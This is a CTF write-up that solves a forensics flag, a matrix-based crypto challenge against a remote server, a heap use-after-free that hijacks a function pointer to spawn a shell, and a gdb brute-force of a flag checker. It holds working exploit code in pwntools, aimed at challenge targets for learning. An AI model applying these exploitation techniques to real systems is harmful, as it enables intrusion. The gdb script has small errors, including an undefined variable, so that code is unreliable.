redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted
redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted.
Best,
iamroot
It contains the first part of the flag: ictf{h4v3_y0u_s33n_my_fil35_
The second part of the flag lies in the DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9
string.
A few hours into the CTF, a hint was dropped: LULLLU-
We realized it means: Lowercase, Uppercase, …
Then the string could be decoded as base64.
By brute-forcing the case step by step, we eventually discover the flag.
th3y_sh0uld_b3_1n_th3_l0g5}
Entire flag: ICTF{h4v3_y0u_s33n_my_fil35_th3y_sh0uld_b3_1n_th3_l0g5}
All operations are performed in \(F = \text{GF}(227)\). Matrixes live in \(\mathcal{M}_{6,6}(F)\).
We can send an arbitrary invertible matrix \(C\). The server sends back \(M := R + SC\), where \(R\) is a random unknown matrix and \(S\) is the secret matrix that contains the flag.
We also know of a constant public vector \(g \in F^6\) and the server sends the value of \(Rg\).
Therefore, we have \(Mg - Rg = SCg\), which is \(\alpha^{(j)} = S \beta^{(j)}\) with \(\alpha = Mg - Rg\) and \(\beta = Cg\) which we can compute.
If we just send random invertible matrixes and get enough of these equations, we can construct a dimension-36 system that will give us back \(S\).
Exploit:
from sage.matrix.constructor import random_unimodular_matrix
from pwn import *
import linalg
P = 227
F = GF(P)
big_matrix = []
big_col = []
j = 0
while len(big_matrix) < 36:
while not (input_matrix := random_unimodular_matrix(MatrixSpace(F, 6))).is_invertible():
continue
r = remote("kaeos.net", 7070)
msg1 = b"Proving that I know the matrix which turns: "
msg2 = b" into: "
data = r.recvline(False)
g = linalg.make_vector(eval(data[len(msg1) : data.find(msg2)]), P)
pubKey = linalg.make_vector(eval(data[data.find(msg2) + len(msg2) :]), P)
msg3 = b"My commitment is: "
data = r.recvline(False)
Rg = linalg.make_vector(eval(data[len(msg3) :]), P)
msg4 = b"Enter your 6x6 challenge matrix:\n> "
r.recvuntil(msg4)
r.send(linalg.Matrix([[int(input_matrix[i][j]) for j in range(6)] for i in range(6)], P).encode())
r.recvline() # My challenge response is...
data = r.recvline(False)
R_SC = linalg.Matrix([[0] * 6 for _ in range(6)], P)
R_SC.decode(data)
print("g", g)
print("pubKey", pubKey)
print("Rg", Rg)
print("R_SC", R_SC)
g = vector(F, [_[0] for _ in g.rows])
pubKey = vector(F, [_[0] for _ in pubKey.rows])
Rg = vector(F, [_[0] for _ in Rg.rows])
R_SC = Matrix(F, R_SC.rows)
alpha = R_SC * g - Rg
beta = input_matrix * g
for i in range(6):
big_matrix_row = []
big_matrix_row += [0] * (6 * i)
big_matrix_row += beta[:]
while len(big_matrix_row) < 36:
big_matrix_row.append(0)
big_matrix.append(big_matrix_row)
for alpha_i in alpha:
big_col.append(alpha_i)
r.close()
big_matrix = Matrix(F, big_matrix)
big_col = vector(F, big_col)
sol = big_matrix.solve_right(big_col)
for mask in range(P):
sol_ = [int((u + mask) % P) for u in sol]
print(mask, bytes(sol_))
"""
ICTF{sChn0rr_m1miMi_$cHnoRR_miM1Mi!}
"""
The program creates the following structures on the heap:
struct transaction
{
char *reference;
uint64_t transaction_amount;
void *null;
void *sender_account;
transaction *next_trans;
};
struct account
{
void *remove_transaction;
void *add_transaction;
uint64_t id;
transaction *transactions;
char name[40];
};
There is a use after free if we:
The account->remove_transaction
field of the freed account will be called.
By creating a new transaction before the refund, we control the function pointer that gets called.
We can point it to the debug
function which just calls system("/bin/sh")
.
from pwn import *
r = remote("192.168.125.100", 9101)
def create_account(name):
r.recvuntil(b">")
r.sendline(b"3")
r.recvuntil(b"Enter account name:")
r.sendline(name)
def record_payment(reference, value, id_recp, id_sender):
r.recvuntil(b">")
r.sendline(b"4")
r.recvuntil(b"Enter reference:")
r.sendline(reference)
r.recvuntil(b"Enter value:")
r.sendline(str(value))
r.recvuntil(b"Enter id of recipient:")
r.sendline(str(id_recp))
r.recvuntil(b"Enter id of sender:")
r.sendline(str(id_sender))
def delete_account(idx):
r.recvuntil(b">")
r.sendline(b"6")
r.recvuntil(b"Enter account id:")
r.sendline(str(idx))
def refund_transaction(transaction_id, account_id):
r.recvuntil(b">")
r.sendline(b"5")
r.recvuntil(b"Enter transaction id:")
r.sendline(str(transaction_id))
r.recvuntil(b"Enter id of either account:")
r.sendline(str(account_id))
create_account(b"Account_1")
create_account(b"Account_2")
record_payment(b"Reference", 1, 0, 1)
delete_account(0)
record_payment(p64(0x4017C9), 1, 1, 1)
refund_transaction(0, 1)
r.interactive()
Flag: ICTF{d0N't_uS3_Th4t?_D0n't_TeLL_M3_whAT_2_d0!}
Flag is 38 characters. The flag is checked in chunks of 2 bytes. This allows us to bruteforce two bytes at a time.
import gdb
CHAR_SUCCESS = 0x40132A
CHAR_FAIL = 0x40132E
gdb.execute("b*0x40132A") #Success for a given character
gdb.execute("b*0x40132E")
flag = b"ICTF"
def brute(current_flag):
for x in range(125,32,-1):
for y in range(125,32,-1):
test = current_flag + x.to_bytes(1, byteorder="little") + y.to_bytes(1, byteorder="little")
print(test)
with open("current_test.txt", "wb") as fd:
fd.write(test)
success_hits = i
gdb.execute("ignore 1 "+str(i))
gdb.execute("ignore 2 "+str(i))
gdb.execute("run < current_test.txt")
rip = int(gdb.parse_and_eval("$rip"))
print(hex(rip))
if rip == CHAR_SUCCESS:
current_flag = test
return current_flag
if rip == CHAR_FAIL: #added for clarity
continue
for i in range(2, 20):
flag = brute(flag)
print("".join(flag))
4 hours later:
ICTF{thttS_n
ICTF{thttS_n0T_mY_
ICTF{thttS_n0T_mY_SsGmeNtAtq
ICTF{thttS_n0T_mY_SsGmeNtAtq0N_f4uLT!}
ICTF{th4tS_n0T_mY_S3GmeNtAt10N_f4uLT!}